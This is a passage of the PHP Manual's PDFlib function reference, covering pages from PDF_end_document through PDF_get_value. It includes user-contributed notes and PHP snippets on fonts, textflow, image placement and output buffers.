Adds a glyph name and/or Unicode value to a custom encoding.

User Contributed Notes

There are no user contributed notes for this page.
PDF_delete
PDF_end_document
PDF Functions


Close PDF file

PDF_encoding_set_char
PDF_end_font
PDF Functions
PHP Manual

PDF_end_document

(PECL pdflib >= 2.0.0)

PDF_end_document — Close PDF file

Description

bool PDF_end_document ( resource $pdfdoc , string $optlist )

Closes the generated PDF file and applies various options.

User Contributed Notes

There are no user contributed notes for this page.
PDF_encoding_set_char
PDF_end_font
PDF Functions


Terminate Type 3 font definition

PDF_end_document
PDF_end_glyph
PDF Functions
PHP Manual

PDF_end_font

(PECL pdflib >= 2.0.0)

PDF_end_font — Terminate Type 3 font definition

Description

bool PDF_end_font ( resource $pdfdoc )

Terminates a Type 3 font definition.

User Contributed Notes

There are no user contributed notes for this page.
PDF_end_document
PDF_end_glyph
PDF Functions


Terminate glyph definition for Type 3 font

PDF_end_font
PDF_end_item
PDF Functions
PHP Manual

PDF_end_glyph

(PECL pdflib >= 2.0.0)

PDF_end_glyph — Terminate glyph definition for Type 3 font

Description

bool PDF_end_glyph ( resource $pdfdoc )

Terminates a glyph definition for a Type 3 font.

User Contributed Notes

There are no user contributed notes for this page.
PDF_end_font
PDF_end_item
PDF Functions


Close structure element or other content item

PDF_end_glyph
PDF_end_layer
PDF Functions
PHP Manual

PDF_end_item

(PECL pdflib >= 2.0.0)

PDF_end_item — Close structure element or other content item

Description

bool PDF_end_item ( resource $pdfdoc , int $id )

Closes a structure element or other content item.

User Contributed Notes

There are no user contributed notes for this page.
PDF_end_glyph
PDF_end_layer
PDF Functions


Deactivate all active layers

PDF_end_item
PDF_end_page_ext
PDF Functions
PHP Manual

PDF_end_layer

(PECL pdflib >= 2.0.0)

PDF_end_layer — Deactivate all active layers

Description

bool PDF_end_layer ( resource $pdfdoc )

Deactivates all active layers. Returns TRUE on success or FALSE on failure.

This function requires PDF 1.5.

User Contributed Notes

There are no user contributed notes for this page.
PDF_end_item
PDF_end_page_ext
PDF Functions


Finish page

PDF_end_layer
PDF_end_page
PDF Functions
PHP Manual

PDF_end_page_ext

(PECL pdflib >= 2.0.0)

PDF_end_page_ext — Finish page

Description

bool PDF_end_page_ext ( resource $pdfdoc , string $optlist )

Finishes a page, and applies various options. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
PDF_end_layer
PDF_end_page
PDF Functions


Finish page

PDF_end_page_ext
PDF_end_pattern
PDF Functions
PHP Manual

PDF_end_page

(PHP 4, PECL pdflib >= 1.0.0)

PDF_end_page — Finish page

Description

bool PDF_end_page ( resource $p )

Finishes the page. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
PDF_end_page_ext
PDF_end_pattern
PDF Functions


Finish pattern

PDF_end_page
PDF_end_template
PDF Functions
PHP Manual

PDF_end_pattern

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_end_pattern — Finish pattern

Description

bool PDF_end_pattern ( resource $p )

Finishes the pattern definition. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
PDF_end_page
PDF_end_template
PDF Functions


Finish template

PDF_end_pattern
PDF_endpath
PDF Functions
PHP Manual

PDF_end_template

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_end_template — Finish template

Description

bool PDF_end_template ( resource $p )

Finishes a template definition. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
PDF_end_pattern
PDF_endpath
PDF Functions


End current path

PDF_end_template
PDF_fill_imageblock
PDF Functions
PHP Manual

PDF_endpath

(PHP 4, PECL pdflib >= 1.0.0)

PDF_endpath — End current path

Description

bool PDF_endpath ( resource $p )

Ends the current path without filling or stroking it.

User Contributed Notes

There are no user contributed notes for this page.
PDF_end_template
PDF_fill_imageblock
PDF Functions


Fill image block with variable data

PDF_endpath
PDF_fill_pdfblock
PDF Functions
PHP Manual

PDF_fill_imageblock

(PECL pdflib >= 2.0.0)

PDF_fill_imageblock — Fill image block with variable data

Description

int PDF_fill_imageblock ( resource $pdfdoc , int $page , string $blockname , int $image , string $optlist )

Fills an image block with variable data according to its properties.

This function is only available in the PDFlib Personalization Server (PPS).

User Contributed Notes

There are no user contributed notes for this page.
PDF_endpath
PDF_fill_pdfblock
PDF Functions


Fill PDF block with variable data

PDF_fill_imageblock
PDF_fill_stroke
PDF Functions
PHP Manual

PDF_fill_pdfblock

(PECL pdflib >= 2.0.0)

PDF_fill_pdfblock — Fill PDF block with variable data

Description

int PDF_fill_pdfblock ( resource $pdfdoc , int $page , string $blockname , int $contents , string $optlist )

Fills a PDF block with variable data according to its properties.

This function is only available in the PDFlib Personalization Server (PPS).

User Contributed Notes

There are no user contributed notes for this page.
PDF_fill_imageblock
PDF_fill_stroke
PDF Functions


Fill and stroke path

PDF_fill_pdfblock
PDF_fill_textblock
PDF Functions
PHP Manual

PDF_fill_stroke

(PHP 4, PECL pdflib >= 1.0.0)

PDF_fill_stroke — Fill and stroke path

Description

bool PDF_fill_stroke ( resource $p )

Fills and strokes the current path with the current fill and stroke color. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
PDF_fill_pdfblock
PDF_fill_textblock
PDF Functions


Fill text block with variable data

PDF_fill_stroke
PDF_fill
PDF Functions
PHP Manual

PDF_fill_textblock

(PECL pdflib >= 2.0.0)

PDF_fill_textblock — Fill text block with variable data

Description

int PDF_fill_textblock ( resource $pdfdoc , int $page , string $blockname , string $text , string $optlist )

Fills a text block with variable data according to its properties.

This function is only available in the PDFlib Personalization Server (PPS).

User Contributed Notes

Anonymous 02-Jul-2009 01:54
This function's purpose is to fill in an AcroForm field.  The concept of "Block" comes from the PDFlib Personalization Server (PPS) terminology.
stephen at pacificscreening dot com 29-Apr-2009 02:24
You should be aware that the PDF Lib documentation says that this method should return a textflow handle that can then be used on subsequent calls (i.e. to have an arbitrary number of boxes and have the text continue to spill over). It does not, at least not in my version of PHP (4.3.8). I had to dig around and find a message in the official message boards saying it does NOT work this way. The only way to do textflow is to use pdf_fit_textflow() and grab the locations of the target box each time.
PDF_fill_stroke
PDF_fill
PDF Functions


Fill current path

PDF_fill_textblock
PDF_findfont
PDF Functions
PHP Manual

PDF_fill

(PHP 4, PECL pdflib >= 1.0.0)

PDF_fill — Fill current path

Description

bool PDF_fill ( resource $p )

Fills the interior of the current path with the current fill color. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
PDF_fill_textblock
PDF_findfont
PDF Functions


Prepare font for later use [deprecated]

PDF_fill
PDF_fit_image
PDF Functions
PHP Manual

PDF_findfont

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_findfont — Prepare font for later use [deprecated]

Description

int PDF_findfont ( resource $p , string $fontname , string $encoding , int $embed )

Search for a font and prepare it for later use with PDF_setfont(). The metrics will be loaded, and if embed is nonzero, the font file will be checked, but not yet used. encoding is one of builtin, macroman, winansi, host, a user-defined encoding name or the name of a CMap. Parameter embed is optional before PHP 4.3.5 or with PDFlib less than 5.

This function is deprecated since PDFlib version 5, use PDF_load_font() instead.

User Contributed Notes

Shamun Toha 05-Oct-2008 11:08
<?php
/*
 * This is an example of my first PDF test
 * Worked by NuSphere PHPed
 * Manualy downloaded library from
 * http://pecl4win.php.net/ext.php/php_pdf.dll
 */

/*
 * Stage - 1
 * Resource create for PDF library
 */
$pdf = PDF_new();

/*
 * Stage - 2
 * Save where? Path to create the file.
 */
pdf_open_file($pdf, "c:\heloworld.pdf");

/*
 * Stage - 3
 * Page diemention (A4)
 */
pdf_begin_page($pdf, 595, 842);

/*
 * Stage - 4
 * path of your TTF font directory
 * can also use pdf_load_font();
 * http://uk3.php.net/manual/en/function.pdf-findfont.php
 */
$fontdir = "C:\WINDOWS\Fonts";
pdf_set_parameter($pdf, "FontOutline", "arialMyName=$fontdir\arial.ttf");
$arial = PDF_findfont($pdf,"arialMyName","host",0 );

/*
 * Stage - 5
 * Set font size and font name
 */
pdf_setfont($pdf, $arial, 10);

/*
 * Stage - 6
 * print text
 */
pdf_show_xy($pdf, "Hellow World? ",50, 750);
pdf_show_xy($pdf, "Test 1, 2, 3, 4 working. ", 50,730);

/*
 * Stage - 7
 * end page
 */
pdf_end_page($pdf);

/*
 * Stage - 8
 * close and save file
 */
pdf_close($pdf);

?>

Output as pdf:
###################################
#
#   Hellow World?
#   Test 1, 2, 3, 4 working.
#
###################################
R. Christiaanse 26-Jul-2005 04:57
If you get the following error,

"PDFlib error: [2518] PDF_findfont: No file specified with outline data for font ..."

you might try the following:

1. Take care the environment variable PDFLIBRESOURCE is correctly set.

   You can set it like this: putenv("PDFLIBRESOURCE=C:\phpdev\php\pdf-related\pdflib.upr");

2. Take care the resource variabele used by PDFLib is correctly set.

   You can set it like this: pdf_set_parameter($pdf, "resourcefile", "C:\phpdev\php\pdf-related\pdflib.upr");

3. Take care the resource file and fonts can be found by adjusting your local include path.

   You can set it like this: ini_set('include_path', 'C:/phpdev/php/pdf-related');

4. Take care the paths in the PDFLIB resource file are correct

   Open pdflib.upr in a text editor and modify the path entry (read the comments):

   Example: /C:/phpdev/php/pdf-related

5. Leave the optional parameter 'embed' out:

   Like this:

   if ($font = pdf_findfont($pdf, "Helvetica", "host", 0))
     pdf_setfont($pdf, $font, 12);

   Or this:

   if ($font = pdf_findfont($pdf, "Helvetica", "host"))
     pdf_setfont($pdf, $font, 12);

I hope this could be of help to you...
sebastien at galliot dot com 25-Jun-2004 01:14
Display UTF-8 string with your PDFlib and true type font
<?php

/*  UTF-8 : Unicode encoded string with PDFlib & Php

*/
$pdf = pdf_new();
if (!pdf_open_file($pdf, ""))
   exit;

PDF_begin_page($pdf, 600,800);

// set the textformat parameter to utf8
pdf_set_parameter($pdf, "textformat", "utf8");

// path of your TTF font directory
$fontdir = "/path/to/font/directory/";

// Open few .TTF (true type font)
// be sure that your font file contains enough character for your language

pdf_set_parameter($pdf, "FontOutline", "ArialUnicode=$fontdir/ARIALUNI.TTF");
pdf_set_parameter($pdf, "FontOutline", "ArialItalic=$fontdir/ariali.ttf");

// UTF-8 encoded string (this is bulgarian (cyrillic alphabet))
$utf_8_string ="Потребление" ;

// Set the font
$font = PDF_findfont($pdf, "ArialUnicode", "unicode",0);
pdf_setfont($pdf, $font, 15);
// output the encoded string with Arial Unicode font
pdf_show_xy($pdf,  "Arial Unicode : $utf_8_string"   ,40 ,700);

// output the encoded string with Arial Italic font
$font = PDF_findfont($pdf, "ArialItalic", "unicode",0);
pdf_setfont($pdf, $font, 15);
pdf_show_xy($pdf,  "Arial Italic  : $utf_8_string"   ,40 ,650);

PDF_end_page($pdf);
pdf_close($pdf);

$buf = pdf_get_buffer($pdf);
$len = strlen($buf);

header("Content-type: application/pdf");
header("Content-Length: $len");
header("Content-Disposition: inline; filename=foo.pdf");
echo $buf;

pdf_delete($pdf);

?>
Mairsil 27-Jan-2004 10:31
An easy way to use .ttf fonts under *nix:

pdf_set_parameter($pdf, "FontOutline", "Arial=/var/path/to/font/arial.ttf");
jurgen dot php dot net at nospam dot thewicked dot nl 10-Jul-2003 07:38
try this nice *nix shell code to generate the FontAFM section of your UPR files:

   for i in *.afm
   do
           sep=`echo -e "\r"`
           file=`cat $i | grep FontName | cut -b 10-`
           file=${file//$sep/}
           echo "$file=$i"
   done

it gererates something like this:

   Courier-Oblique=Courier-Oblique.afm
   Courier=Courier.afm
   Helvetica-Bold=Helvetica-Bold.afm
   etc.

probably usefull if you add fonts now and then...
dont be shy to mail me if you find this usefull!
chkim at secuve dot com 26-Oct-2002 10:47
you can use korean font.

$font_kr = PDF_findfont($pdf, "HYSMyeongJoStd-Medium-Acro", "KSC-EUC-H", 0);
mitch at nospam dot unixprogramming dot net 20-Mar-2002 04:48
A note on fonts...

 Everyone should take a look at the PDFlib manual, section 3.3.5 on TrueType fonts and such. In order to not have to embed fonts and have the font metrics file available use one of the 14 internal PDFlib fonts (case sensitive) :

Courier, Courier-Bold, Courier-Oblique, Courier-BoldOblique,
Helvetica, Helvetica-Bold, Helvetica-Oblique, Helvetica-BoldOblique,
Times-Roman, Times-Bold, Times-Italic, Times-BoldItalic,
Symbol, ZapfDingbats

Note that "Times New Roman" isn't in there (Times-Roman is, however). All is explained in the PDFlib manual so if you're having trouble with the above example, please check it out.
bob at nijman dot de 02-Aug-2001 06:45
Try this:

<?php

//Create & Open PDF-Object
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_set_info($pdf, "Author","Bob Nijman");
pdf_begin_page($pdf, 300, 300);

$font = pdf_findfont($pdf, "Times New Roman", "host", 1);
if ($font) {
    pdf_setfont($pdf, $font, 30);
}

$string = "Hello Berlin-Mitte!";

$width = pdf_stringwidth($pdf, $string);
pdf_set_text_pos($pdf, (300-$width)/2, 200);
pdf_show($pdf, $string);

//close it up
pdf_end_page($pdf);
pdf_close($pdf);
$data = pdf_get_buffer($pdf);
header('Content-type: application/pdf');
header('Content-disposition: inline; filename=myTest.pdf');
header('Content-length: ' . strlen($data));
echo $data;

?>
martin at better-com dot de 23-Jun-2001 10:36
For using pdf_findfont with pdf_setfont it's a good idea to copy your fonts to a separate directory, i.e. /usr/local/fonts. You should also copy the upr file which comes with PDFlib to this directory. The example code above did not work here until I put a

pdf_set_parameter($pdf, "resourcefile", "/usr/local/fonts/pdflib.upr");

before the line with pdf_findfont().
PDF_fill
PDF_fit_image
PDF Functions


Place image or template

PDF_findfont
PDF_fit_pdi_page
PDF Functions
PHP Manual

PDF_fit_image

(PECL pdflib >= 2.0.0)

PDF_fit_image — Place image or template

Description

bool PDF_fit_image ( resource $pdfdoc , int $image , float $x , float $y , string $optlist )

Places an image or template on the page, subject to various options. Returns TRUE on success or FALSE on failure.

User Contributed Notes

pcsmke et gmail dot com 20-Sep-2010 03:37
<?php
$slika = pdf_load_image($pdf,"gif","D:\\xampp\\htdocs\\telime.gif","");
pdf_fit_image($pdf,$slika,30,50,"");
pdf_close_image($pdf,$slika);
?>

this worked for me full path to the file
adrian dot suter at epfl dot ch 13-Nov-2006 12:41
Hello php cracks

First of all, the reference point of the image is its left, bottom corner. Furthermore, I just thought it would be nice to know some of the most used options that can be passed using the fifth parameter "string optlist".

Scaling the image (e.g. by a factor of 0.5)
<?php PDF_fit_image ( $pdf, $img, $x, $y, "scale 0.5" ) ?>

Rotating the image (e.g. by an angle of 45 degrees)
<?php PDF_fit_image ( $pdf, $img, $x, $y, "rotate 45" ) ?>
Note: The reference point rotates with the image!

Fitting the image into a virtual box
<?php PDF_fit_image ( $pdf, $img, $x, $y, "boxsize {200 100} fitmethod meet" ) ?>
Note: The box width and height (in Adobe points) would be given in the curly braces. Using the fitmethod "meet", the image would be ratio-scaled to be completely visible. Other methods are "clip" and "slice".

Multiple options can be used at the same time by simply concatenating them using a space. By the way, most pdf functions work exactly the same as the PDFlib functions. So just risk a look into the PFLlib documentations (use a search engine).

Hope this helped! Best regards - Adrian
PDF_findfont
PDF_fit_pdi_page
PDF Functions


Place imported PDF page

PDF_fit_image
PDF_fit_table
PDF Functions
PHP Manual

PDF_fit_pdi_page

(PECL pdflib >= 2.0.0)

PDF_fit_pdi_page — Place imported PDF page

Description

bool PDF_fit_pdi_page ( resource $pdfdoc , int $page , float $x , float $y , string $optlist )

Places an imported PDF page on the page, subject to various options. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
PDF_fit_image
PDF_fit_table
PDF Functions


Place table on page

PDF_fit_pdi_page
PDF_fit_textflow
PDF Functions
PHP Manual

PDF_fit_table

(PECL pdflib >= 2.1.0)

PDF_fit_table — Place table on page

Description

string PDF_fit_table ( resource $pdfdoc , int $table , float $llx , float $lly , float $urx , float $ury , string $optlist )

Places a table on the page fully or partially.

User Contributed Notes

There are no user contributed notes for this page.
PDF_fit_pdi_page
PDF_fit_textflow
PDF Functions


Format textflow in rectangular area

PDF_fit_table
PDF_fit_textline
PDF Functions
PHP Manual

PDF_fit_textflow

(PECL pdflib >= 2.0.0)

PDF_fit_textflow — Format textflow in rectangular area

Description

string PDF_fit_textflow ( resource $pdfdoc , int $textflow , float $llx , float $lly , float $urx , float $ury , string $optlist )

Formats the next portion of a textflow into a rectangular area.

User Contributed Notes

David 19-Nov-2007 05:16
NOTE!
This function is not supported in "PDFlib Lite" extension which is mostly been used by PHP-programmers.
ctemple at xadvance dot com 13-Aug-2006 12:10
This is an excerpt of code from the PDFlib Manual that has been modfied for PHP.  It fulfills the very common need to have a textflow extend accross multiple pages.

$pdf is the PDF file resource.  You may want to modify the page size (this is letter size) or the position of the textflow itself.

<?php

$thetext = "INSERT YOUR MULTI-PAGE TEXT HERE";

$textflow = PDF_create_textflow($pdf, $thetext, "fontname=Tahoma fontsize=9 encoding=winansi");

do {
    PDF_begin_page_ext($pdf, 612, 792, "");
    $result = PDF_fit_textflow($pdf, $textflow, 50, 120, 550, 720, "");
    PDF_end_page_ext($pdf, "");
} while (strcmp($result, "_stop"));

PDF_delete_textflow($pdf, $textflow);

?>

If you have any templates or pagination that need to be placed on each page, they can go within the do/while loop itself, between the begin_page and end_page functions.
GreenRover 17-May-2006 04:53
to plant an singel line with an alignment

$textflow = pdf_create_textflow($pdf, "test 123\nfoo baaa", 'fontname=Helvetica fontsize=12 encoding=iso8859-1 alignment=right');
  pdf_fit_textflow   ($pdf, $textflow, 400, 100, 550, 200, '');
  pdf_delete_textflow($pdf, $textflow);
PDF_fit_table
PDF_fit_textline
PDF Functions


Place single line of text

PDF_fit_textflow
PDF_get_apiname
PDF Functions
PHP Manual

PDF_fit_textline

(PECL pdflib >= 2.0.0)

PDF_fit_textline — Place single line of text

Description

bool PDF_fit_textline ( resource $pdfdoc , string $text , float $x , float $y , string $optlist )

Places a single line of text on the page, subject to various options. Returns TRUE on success or FALSE on failure.

User Contributed Notes

Anders Lindn 19-Jan-2011 12:38
The function PDF_fit_textline has an "optlist" argument which you use to pass options. In other words, PDF_fit_textline contains many functions instead of one. A classical code smell.

The fact that the optlist argument is a string uglyfies this function by a factor of thousand.

Conclusion: when you make functions like PDF_show_boxed deprecated, replace it with a better function instead of doing the opposite.
scott at dont want spam dot com 12-Jul-2009 03:49
One point about using the PDF_show_boxed function.

It does not support Unicode. So if you need that support you will need to use this function or the text flow functions.
eslindsey at gmail dot com 24-Mar-2009 06:17
For right now, if you are using PDFlib Lite, you can still use the legacy (depreciated) PDF_show_boxed or $p->show_boxed functions to create a text area. This seems to be a good (if not as full-featured) alternative to the textflow functions, and definitely a whole lot easier than trying to write your own text wrapping/hyphenation solution.
Chris at postal-code dot com 27-Nov-2006 01:47
A patch to the code below to handle an array bounds error that arises:

<?php
$nextText = "";
if ( ( count( $tmpTxt ) - 1 ) >= ( $i + 1 ) )
{ $nextText = $tmpTxt[ $i+1 ]; }

if ( ( strlen( $str ) + strlen( $nextText ) ) > $cols )
?>
rcable at workforceconnections dot biz 11-Jul-2006 05:49
Here is a function I created in order to allow me to do textblocks on pdflib lite.  Hope this helps someone else, cause all the stuff I've found on php.net has helped me.
$p is your pdf resource
$text is the string to put in the box
$cols is the number col characters before a carriage return
$xcrd,$ycrd is lower left of first line.

This will accept \n as a newline/carriage return and use it to skip to next line.  It is not setup to hyphenate words, but someday I'll build one, or buy the full pdf package. ;)

function text_block($p,$text,$cols,$xcrd,$ycrd)
{
$font_size=12;  //font size, used to space lines on y axis
$tmplines = explode("\n",$text);
for($j=0;$j<count($tmplines);$j++)
    {
    $tmptxt = explode(" ",$tmplines[$j]);
    $str="";
    for($i=0;$i<count($tmptxt);$i++)
        {
        if($str=="") $str=sprintf("%s",$tmptxt[$i]);
        else    $str=sprintf("%s %s",$str,$tmptxt[$i]);
        if((strlen($str) + strlen($tmptxt[$i+1])) > $cols)
            {
            pdf_fit_textline($p,$str,$xcrd,$ycrd,"");
            $str="";
            $ycrd-=$font_size;
            }
        }
    pdf_fit_textline($p,$str,$xcrd,$ycrd,"");
    $ycrd-=$font_size;
    }
return $ycrd;
}
PDF_fit_textflow
PDF_get_apiname
PDF Functions


Get name of unsuccessfull API function

PDF_fit_textline
PDF_get_buffer
PDF Functions
PHP Manual

PDF_get_apiname

(PECL pdflib >= 2.0.0)

PDF_get_apiname — Get name of unsuccessfull API function

Description

string PDF_get_apiname ( resource $pdfdoc )

Gets the name of the API function which threw the last exception or failed.

User Contributed Notes

There are no user contributed notes for this page.
PDF_fit_textline
PDF_get_buffer
PDF Functions


Get PDF output buffer

PDF_get_apiname
PDF_get_errmsg
PDF Functions
PHP Manual

PDF_get_buffer

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_get_buffer — Get PDF output buffer

Description

string PDF_get_buffer ( resource $p )

Fetches the buffer containing the generated PDF data.

User Contributed Notes

jorgepedret at gmail dot com 20-Mar-2008 07:43
This function can only be used when you are writing a file to memory and not to a physical file. Otherwise you will get an error like this one: Don't fetch buffer contents when writing to file.
cookiekid at gmail dot com 27-Apr-2006 11:15
If you plan to use get_buffer() you have to call open_file() with an
empty filename.
PDF_get_apiname
PDF_get_errmsg
PDF Functions


Get error text

PDF_get_buffer
PDF_get_errnum
PDF Functions
PHP Manual

PDF_get_errmsg

(PECL pdflib >= 2.0.0)

PDF_get_errmsg — Get error text

Description

string PDF_get_errmsg ( resource $pdfdoc )

Gets the text of the last thrown exception or the reason for a failed function call.

User Contributed Notes

There are no user contributed notes for this page.
PDF_get_buffer
PDF_get_errnum
PDF Functions


Get error number

PDF_get_errmsg
PDF_get_font
PDF Functions
PHP Manual

PDF_get_errnum

(PECL pdflib >= 2.0.0)

PDF_get_errnum — Get error number

Description

int PDF_get_errnum ( resource $pdfdoc )

Gets the number of the last thrown exception or the reason for a failed function call.

User Contributed Notes

There are no user contributed notes for this page.
PDF_get_errmsg
PDF_get_font
PDF Functions


Get font [deprecated]

PDF_get_errnum
PDF_get_fontname
PDF Functions
PHP Manual

PDF_get_font

(PHP 4, PECL pdflib >= 1.0.0)

PDF_get_font — Get font [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_get_value() with the parameter font instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_get_errnum
PDF_get_fontname
PDF Functions


Get font name [deprecated]

PDF_get_font
PDF_get_fontsize
PDF Functions
PHP Manual

PDF_get_fontname

(PHP 4, PECL pdflib >= 1.0.0)

PDF_get_fontname — Get font name [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_get_parameter() with the parameter fontname instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_get_font
PDF_get_fontsize
PDF Functions


Font handling [deprecated]

PDF_get_fontname
PDF_get_image_height
PDF Functions
PHP Manual

PDF_get_fontsize

(PHP 4, PECL pdflib >= 1.0.0)

PDF_get_fontsize — Font handling [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_get_value() with the parameter fontsizeinstead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_get_fontname
PDF_get_image_height
PDF Functions


Get image height [deprecated]

PDF_get_fontsize
PDF_get_image_width
PDF Functions
PHP Manual

PDF_get_image_height

(PHP 4, PECL pdflib >= 1.0.0)

PDF_get_image_height — Get image height [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_get_value() with the parameter imageheight instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_get_fontsize
PDF_get_image_width
PDF Functions


Get image width [deprecated]

PDF_get_image_height
PDF_get_majorversion
PDF Functions
PHP Manual

PDF_get_image_width

(PHP 4, PECL pdflib >= 1.0.0)

PDF_get_image_width — Get image width [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_get_value() with the parameter imagewidth instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_get_image_height
PDF_get_majorversion
PDF Functions


Get major version number [deprecated]

PDF_get_image_width
PDF_get_minorversion
PDF Functions
PHP Manual

PDF_get_majorversion

(PHP 4 >= 4.2.0, PECL pdflib >= 1.0.0)

PDF_get_majorversion — Get major version number [deprecated]

Description

int PDF_get_majorversion ( void )

This function is deprecated since PDFlib version 5, use PDF_get_value() with the parameter major instead.

User Contributed Notes

brianray 16-Apr-2004 11:29
Deprecated, use int PDF_get_value(resource pdfdoc,'major',0) instead.
PDF_get_image_width
PDF_get_minorversion
PDF Functions


Get minor version number [deprecated]

PDF_get_majorversion
PDF_get_parameter
PDF Functions
PHP Manual

PDF_get_minorversion

(PHP 4 >= 4.2.0, PECL pdflib >= 1.0.0)

PDF_get_minorversion — Get minor version number [deprecated]

Description

int PDF_get_minorversion ( void )

Returns the minor version number of the PDFlib version.

This function is deprecated since PDFlib version 5, use PDF_get_value() with the parameter minor instead.

User Contributed Notes

brianray 16-Apr-2004 11:29
Deprecated, use int PDF_get_value(resource pdfdoc,'minor',0) instead.
PDF_get_majorversion
PDF_get_parameter
PDF Functions


Get string parameter

PDF_get_minorversion
PDF_get_pdi_parameter
PDF Functions
PHP Manual

PDF_get_parameter

(PHP 4 >= 4.0.1, PECL pdflib >= 1.0.0)

PDF_get_parameter — Get string parameter

Description

string PDF_get_parameter ( resource $p , string $key , float $modifier )

Gets the contents of some PDFlib parameter with string type.

User Contributed Notes

Christopher Jastram cej102937 11-Dec-2005 12:46
The proper keys for pdf_get_parameter and pdf_get_value are under "Parameters and Values" under "A PDFlib Quick Reference" in the PDFlib reference manual (google is your friend).

To get the font name:

$fontname = pdf_get_parameter($pdf, "fontname", 0);

To get the font size:

$size = pdf_get_value($pdf, "fontsize", 0);
PDF_get_minorversion
PDF_get_pdi_parameter
PDF Functions


Get PDI string parameter [deprecated]

PDF_get_parameter
PDF_get_pdi_value
PDF Functions
PHP Manual

PDF_get_pdi_parameter

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_get_pdi_parameter — Get PDI string parameter [deprecated]

Description

string PDF_get_pdi_parameter ( resource $p , string $key , int $doc , int $page , int $reserved )

Gets the contents of a PDI document parameter with string type.

This function is deprecated since PDFlib version 7, use PDF_pcos_get_string() instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_get_parameter
PDF_get_pdi_value
PDF Functions


Get PDI numerical parameter [deprecated]

PDF_get_pdi_parameter
PDF_get_value
PDF Functions
PHP Manual

PDF_get_pdi_value

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_get_pdi_value — Get PDI numerical parameter [deprecated]

Description

float PDF_get_pdi_value ( resource $p , string $key , int $doc , int $page , int $reserved )

Gets the contents of a PDI document parameter with numerical type.

This function is deprecated since PDFlib version 7, use PDF_pcos_get_number() instead.

User Contributed Notes

gregors at rose-hulman dot edu 13-Jun-2003 02:11
If you are having troubles getting the page count make sure you have Root caplitalized correctly.

$numPages=pdf_get_pdi_value($p,"/Root/Pages/Count",$input,0,0);
09-May-2003 02:16
For keys which are not page-related page must be -1 (in PHP: 0).
ian dot kinnear at optus-ebiz dot com 13-Jul-2001 12:56
From the pdflib manual...

key: Specifies the name of the parameter
doc: a valid PDF document handle retrieved with PDF_open_pdi()
page: A valid PDF page handle (not page number!). For keys which are not page-related page must be -1

Example:

$numPages=pdf_get_pdi_value($p,"/root/Pages/Count",$input,0,0);
PDF_get_pdi_parameter
PDF_get_value
PDF Functions


Get numerical parameter

PDF_get_pdi_value
PDF_info_font
PDF Functions
PHP Manual

PDF_get_value

(PHP 4 >= 4.0.1, PECL pdflib >= 1.0.0)

PDF_get_value — Get numerical parameter

Description

float PDF_get_value ( resource $p , string $key , float $modifier )

Gets the value of some PDFlib parameter with numerical type.

User Contributed Notes

02-Feb-2006 07:29
Note:

imagewidth and imageheigh do not return the actual width and height.  Instead they are 2 times the actual width and height.  I don't understand why, but this seems to be the case with multi page tiffs (and maybe other images).  In order to insert a multi page tiff into a PDF without out of control extra space do the following:

<?php
$pdf = pdf_new();
pdf_set_parameter($pdf, "licensefile", "/etc/pdflib/licensekeys.txt");
pdf_open_file($pdf, "/tmp/tifftest.pdf");

for ($i=1; $i<=4; $i++) {

$image = pdf_open_image_file($pdf, "tiff", "/tmp/test.tif", "page", $i);

$w = pdf_get_value($pdf, "imagewidth", $image);
$h = pdf_get_value($pdf, "imageheight", $image);

// $w and $h are at this point 2*width and 2*height!!

// To place the image without having lots of extra space:

pdf_begin_page($pdf, $w/2, $h/2);
pdf_place_image($pdf, $image, 0, 0, 0.5);
pdf_close_image($pdf, $image);
pdf_end_page($pdf);

}

pdf_close($pdf);

?>
25-Jul-2005 02:10
$width = PDF_get_value($p, "imagewidth", $image);
_meto ALT+q web.de 19-Jun-2004 09:58
There should be many more. For example I found this in the manual, wich was very helpfull for me:

$textx = pdf_get_value($p, "textx", 0);
$texty = pdf_get_value($p, "texty", 0);

These will extract the current textposition in the document.
robert.chambersATroche.com 26-Nov-2003 08:41
The Magic keywords are:

  IMAGEWIDTH,   IMAGEHEIGHT,   RESX,  RESY,
  CAPHEIGHT,  ASCENDER,  DESCENDER,  FONT

I looked in the sourcecode ...
ceo at l-i-e dot com 23-Feb-2002 10:13
See the main PDF manual page (the "PDF" link to the left) for the magic words that this function accepts.
reneATcola.cc 01-Mar-2001 08:32
To get the current font size, use something like this:

<?php $fontheight = PDF_get_value($pdf, "fontsize"); ?>
PDF_get_pdi_value
PDF_info_font
PDF Functions


Query detailed information about a loaded font

PDF_get_value
PDF_info_matchbox
PDF Functions
PHP Manual

PDF_info_font

(PECL pdflib >= 2.1.0)

PDF_info_font — Query detailed information about a loaded font

Description

float PDF_info_font ( resource $pdfdoc , int $font , string $keyword , string $optlist )

Queries detailed information about a loaded font.

User Contributed Notes

There are no user contributed notes for this page.
PDF_get_value
PDF_info_matchbox
PDF Functions


Query matchbox information

PDF_info_font
PDF_info_table
PDF Functions
PHP Manual

PDF_info_matchbox

(PECL pdflib >= 2.1.0)

PDF_info_matchbox — Query matchbox information

Description

